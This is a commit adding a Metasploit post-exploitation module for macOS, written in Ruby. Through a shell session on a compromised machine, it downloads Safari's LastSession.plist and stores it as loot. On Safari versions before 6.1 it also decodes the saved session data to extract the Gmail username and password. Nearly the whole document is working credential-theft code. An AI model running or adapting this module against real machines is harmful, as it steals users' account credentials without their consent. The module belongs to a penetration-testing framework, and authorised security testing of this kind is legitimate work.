Add post module to get LastSession.plist

LastSession.plist sometimes contains sensitive information such as
usernames and passwords. It'd be nice to keep this in loot.

Author: wchen-r7

modules/post/osx/gather/safari_lastsession.rb

@@ -0,0 +1,220 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rexml/document'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Post::Common
+  include Msf::Post::File
+  include Msf::Auxiliary::Report
+
+  def initialize(info={})
+    super( update_info( info,
+      'Name'          => 'OSX Gather Safari LastSession.plist',
+      'Description'   => %q{
+        This module downloads the LastSession.plist file from the target machine.
+        LastSession.plist is used by Safari to track active websites in the current
+        session, and sometimes contains sensitive information such as usernames and
+        passwords. This module will first download the original LastSession.plist,
+        and then attempt to find the credential for Gmail.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'sinn3r'],
+      'Platform'      => [ 'osx' ],
+      'SessionTypes'  => [ 'shell' ],
+      'References'    =>
+        [
+          ['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']
+        ]
+    ))
+  end
+
+
+  #
+  # Returns the Safari version based on version.plist
+  # @return [String] The Safari version. If not found, returns ''
+  #
+  def get_safari_version
+    vprint_status("#{peer} - Checking Safari version.")
+    version = ''
+
+    f = read_file("/Applications/Safari.app/Contents/version.plist")
+    xml = REXML::Document.new(f)
+    return version if xml.root.nil?
+
+    xml.elements['plist/dict'].each_element do |e|
+      if e.text == 'CFBundleShortVersionString'
+        version = e.next_element.text
+        break
+      end
+    end
+
+    version
+  end
+
+  def peer
+    "#{session.session_host}:#{session.session_port}"
+  end
+
+
+  #
+  # Converts LastSession.plist to xml, and then read it
+  # @param filename [String] The path to LastSession.plist
+  # @return [String] Returns the XML version of LastSession.plist
+  #
+  def plutil(filename)
+    cmd_exec("plutil -convert xml1 #{filename}")
+    cmd_exec("cat #{filename}")
+  end
+
+
+  #
+  # Returns the XML version of LastSession.plist (text file)
+  # Just a wrapper for plutil
+  #
+  def get_lastsession
+    print_status("#{peer} - Looking for LastSession.plist")
+    plutil("~/Library/Safari/LastSession.plist")
+  end
+
+
+  #
+  # Returns the <array> element that contains session data
+  # @param lastsession [String] XML data
+  # @return [REXML::Element] The Array element for the session data
+  #
+  def get_sessions(lastsession)
+    session_dict = nil
+
+    xml = REXML::Document.new(lastsession)
+    return nil if xml.root.nil?
+
+    xml.elements['plist'].each_element do |e|
+      found = false
+      e.elements.each do |e2|
+        if e2.text == 'SessionWindows'
+          session_dict = e.elements['array']
+          found = true
+          break
+        end
+      end
+
+      break if found
+    end
+
+    session_dict
+  end
+
+
+  #
+  # Returns the <dict> session element
+  # @param xml [REXML::Element] The array element for the session data
+  # @param domain [String] The domain to search for
+  # @return [REXML::Element] The <dict> element for the session data
+  #
+  def get_session_element(xml, domain)
+    dict = nil
+
+    found = false
+    xml.each_element do |e|
+      e.elements['array/dict'].each_element do |e2|
+        if e2.text =~ /#{domain}/
+          dict = e
+          found = true
+          break
+        end
+      end
+
+      break if found
+    end
+
+    dict
+  end
+
+
+  #
+  # Extracts Gmail username/password
+  # @param xml [REXML::Element] The array element for the session data
+  # @return [Array] [0] is the domain, [1] is the user, [2] is the pass
+  #
+  def find_gmail_cred(xml)
+    vprint_status("#{peer} - Looking for username/password for Gmail.")
+    gmail_dict = get_session_element(xml, 'mail.google.com')
+    return '' if gmail_dict.nil?
+
+    raw_data = gmail_dict.elements['array/dict/data'].text
+    decoded_data = Rex::Text.decode_base64(raw_data)
+    cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)\&signIn/).flatten
+    user, pass = cred.map {|data| Rex::Text.uri_decode(data)}
+
+    return '' if user.blank? or pass.blank?
+
+    ['mail.google.com', user, pass]
+  end
+
+  #
+  # Runs the module
+  #
+  def run
+    cred_tbl = Rex::Ui::Text::Table.new({
+      'Header'  => 'Credentials',
+      'Indent'  => 1,
+      'Columns' => ['Domain', 'Username', 'Password']
+    })
+
+    #
+    # Downloads LastSession.plist in XML format
+    #
+    lastsession = get_lastsession
+    if lastsession.blank?
+      print_error("#{peer} - LastSession.plist not found")
+      return
+    else
+      p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')
+      print_good("#{peer} - LastSession.plist stored in: #{p.to_s}")
+    end
+
+    #
+    # If this is an unpatched version, we try to extract creds
+    #
+    version = get_safari_version
+    if version.blank?
+      print_warning("Unable to determine Safari version, will try to extract creds anyway")
+    elsif version >= "6.1"
+      print_status("#{peer} - This machine no longer stores session data in plain text")
+      return
+    else
+      vprint_status("#{peer} - Safari version: #{version}")
+    end
+
+    #
+    # Attempts to convert the XML file to an actual XML object, with the <array> element
+    # holding our session data
+    #
+    lastsession_xml = get_sessions(lastsession)
+    unless lastsession_xml
+      print_error("Cannot read XML file, or unable to find any session data")
+      return
+    end
+
+    #
+    # Look for credential in the session data.
+    # I don't know who else stores their user/pass in the session data, but I accept pull requests.
+    # Already looked at hotmail, yahoo, and twitter
+    #
+    gmail_cred = find_gmail_cred(lastsession_xml)
+    cred_tbl << gmail_cred unless gmail_cred.blank?
+
+    unless cred_tbl.rows.empty?
+      p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')
+      print_good("#{peer} - Found credential saved in: #{p}")
+      print_line
+      print_line(cred_tbl.to_s)
+    end
+  end
+
+end